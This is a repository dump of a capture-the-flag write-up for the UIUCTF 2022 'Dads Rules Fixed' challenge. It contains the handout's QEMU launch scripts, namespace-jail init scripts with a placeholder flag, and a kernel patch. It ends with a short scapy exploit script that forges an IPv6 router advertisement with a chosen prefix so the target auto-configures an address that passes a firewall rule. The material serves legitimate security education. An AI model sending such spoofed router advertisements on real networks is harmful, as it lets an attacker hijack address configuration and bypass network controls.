https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules/handout/run/initrd_jail -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/run/initrd_nojail: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules/handout/run/initrd_nojail -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/run/run_jail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -snapshot \ 12 | -initrd initrd_jail \ 13 | -kernel bzImage 14 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/run/run_nojail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -initrd initrd_nojail \ 12 | -kernel bzImage 13 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout.tar.zst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules_Fixed/handout.tar.zst -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/README: -------------------------------------------------------------------------------- 1 | This directory contains: 2 | 3 | - chal_build: The files used to build the challenge. 4 | - run: Pre-built files in case you want to run the challenge locally. This is 5 | the same copy of the challenge running on the server. 6 | 7 | The actual challenge runs a jail utilizing many Linux namespaces for isolation. 8 | The shell you interact with is inside the jail. There's a somewhat convoluted 9 | dance during the namespace setup; the purpose of that is so the shell you 10 | interact with has all capabilities of its userns, which at the same time also 11 | owns the netns of the jail. This is so you are able to send raw packets to the 12 | network interfaces inside the jail. 13 | 14 | It might be difficult to debug and see what is happening outside the jail, so 15 | an alternative build "nojail" is offered in addition to the "jail" build. You 16 | can inspect what's going on in other netns via `ip netns exec` command in this 17 | build. 18 | 19 | Due to reasons, the pre-built kernel here requires a minimum of QEMU v6.2.0 20 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/chal_build/0001-ptp_kvm-Silence-initialization-warning.patch: -------------------------------------------------------------------------------- 1 | From 57a316f519e7c96a79bcd07679bafb73d6cecfd1 Mon Sep 17 00:00:00 2001 2 | From: YiFei Zhu 3 | Date: Tue, 14 Jun 2022 13:24:23 -0700 4 | Subject: [PATCH] ptp_kvm: Silence initialization warning 5 | 6 | Not useful. Not sure exactly why it's shown for UIUCTF. 7 | 8 | Signed-off-by: YiFei Zhu 9 | --- 10 | drivers/ptp/ptp_kvm_common.c | 2 -- 11 | 1 file changed, 2 deletions(-) 12 | 13 | diff --git a/drivers/ptp/ptp_kvm_common.c b/drivers/ptp/ptp_kvm_common.c 14 | index fcae32f56f25..e26217026068 100644 15 | --- a/drivers/ptp/ptp_kvm_common.c 16 | +++ b/drivers/ptp/ptp_kvm_common.c 17 | @@ -138,8 +138,6 @@ static int __init ptp_kvm_init(void) 18 | 19 | ret = kvm_arch_ptp_init(); 20 | if (ret) { 21 | - if (ret != -EOPNOTSUPP) 22 | - pr_err("fail to initialize ptp_kvm"); 23 | return ret; 24 | } 25 | 26 | -- 27 | 2.35.1 28 | 29 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/chal_build/handout-readme: -------------------------------------------------------------------------------- 1 | This directory contains: 2 | 3 | - chal_build: The files used to build the challenge. 4 | - run: Pre-built files in case you want to run the challenge locally. This is 5 | the same copy of the challenge running on the server. 6 | 7 | The actual challenge runs a jail utilizing many Linux namespaces for isolation. 8 | The shell you interact with is inside the jail. There's a somewhat convoluted 9 | dance during the namespace setup; the purpose of that is so the shell you 10 | interact with has all capabilities of its userns, which at the same time also 11 | owns the netns of the jail. This is so you are able to send raw packets to the 12 | network interfaces inside the jail. 13 | 14 | It might be difficult to debug and see what is happening outside the jail, so 15 | an alternative build "nojail" is offered in addition to the "jail" build. You 16 | can inspect what's going on in other netns via `ip netns exec` command in this 17 | build. 18 | 19 | Due to reasons, the pre-built kernel here requires a minimum of QEMU v6.2.0 20 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/chal_build/init_jail: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2021-2022 Google LLC. 3 | # SPDX-License-Identifier: MIT 4 | 5 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 6 | 7 | set -x 8 | 9 | mount -n -t proc -o nosuid,noexec,nodev proc /proc/ 10 | 11 | mkdir -p /dev /sys /etc 12 | 13 | mount -n -t devtmpfs -o mode=0755,nosuid,noexec devtmpfs /dev 14 | mount -n -t sysfs -o nosuid,noexec,nodev sys /sys 15 | mount -n -t tmpfs -o mode=1777 tmpfs /tmp 16 | 17 | if ! mount -n -t 9p flag -o nosuid,noexec,nodev,version=9p2000.L,trans=virtio,msize=104857600 /mnt; then 18 | mount -n -t tmpfs -o nosuid,noexec,nodev tmpfs /mnt 19 | echo 'uiuctf{FAKEFLAG}' > /mnt/flag 20 | fi 21 | 22 | sysctl -qw net.ipv6.conf.all.accept_ra=1 23 | sysctl -qw net.ipv6.conf.default.accept_ra=1 24 | 25 | exec /home/user/jail 26 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/chal_build/init_nojail: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2021-2022 Google LLC. 3 | # SPDX-License-Identifier: MIT 4 | 5 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 6 | 7 | set -x 8 | 9 | mount -n -t proc -o nosuid,noexec,nodev proc /proc/ 10 | 11 | mkdir -p /dev /sys /etc 12 | 13 | mount -n -t devtmpfs -o mode=0755,nosuid,noexec devtmpfs /dev 14 | mount -n -t sysfs -o nosuid,noexec,nodev sys /sys 15 | mount -n -t tmpfs -o mode=1777 tmpfs /tmp 16 | 17 | if ! mount -n -t 9p flag -o nosuid,noexec,nodev,version=9p2000.L,trans=virtio,msize=104857600 /mnt; then 18 | mount -n -t tmpfs -o nosuid,noexec,nodev tmpfs /mnt 19 | echo 'uiuctf{FAKEFLAG}' > /mnt/flag 20 | fi 21 | 22 | sysctl -qw net.ipv6.conf.all.accept_ra=1 23 | sysctl -qw net.ipv6.conf.default.accept_ra=1 24 | 25 | ip netns add jail 26 | . /home/user/setup.sh 27 | 28 | touch /run/netns/init 29 | mount --bind /proc/self/ns/net /run/netns/init 30 | 31 | exec ip netns exec jail setsid bash -l 0<>"/dev/ttyS0" 1>&0 2>&0 32 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/chal_build/run_jail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -snapshot \ 12 | -initrd initrd_jail \ 13 | -kernel bzImage 14 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/chal_build/run_nojail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -initrd initrd_nojail \ 12 | -kernel bzImage 13 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/run/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules_Fixed/handout/run/bzImage -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/run/initrd_jail: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules_Fixed/handout/run/initrd_jail -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/run/initrd_nojail: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules_Fixed/handout/run/initrd_nojail -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/run/run_jail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -snapshot \ 12 | -initrd initrd_jail \ 13 | -kernel bzImage 14 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/handout/run/run_nojail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -initrd initrd_nojail \ 12 | -kernel bzImage 13 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules_Fixed/sploit.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ether=(Ether( 4 | src='4a:c5:2d:9b:8c:8d', # jail_if MAC 5 | dst='8a:15:22:31:b4:fc', # flag_if MAC 6 | )) 7 | 8 | a = IPv6() 9 | a.src = "fe80::48c5:2dff:fe9b:8c8d" # jail_if link local address 10 | a.dst = "fe80::8815:22ff:fe31:b4fc" # flag_if link local address, guessed from the MAC 11 | b = ICMPv6ND_RA() 12 | 13 | c = ICMPv6NDOptSrcLLAddr() 14 | c.lladdr = "fe80::48c5:2dff:fe9b:8c8d" # jail_if link local address 15 | 16 | d = ICMPv6NDOptMTU() 17 | 18 | e = ICMPv6NDOptPrefixInfo() 19 | e.prefixlen = 64 20 | e.prefix = "2001:db8:6e02:2663::" # necessary network prefix for auto configuration of IPs matching the firewall rule 21 | 22 | packet = ether/a/b/c/d/e 23 | 24 | # print our packet bytes in a trafgen friendly format: 25 | trafgen_payload = [] 26 | for b in bytes(packet): 27 | trafgen_payload.append(hex(b)) 28 | 29 | print('{' + ", ".join(trafgen_payload) + '}') --------------------------------------------------------------------------------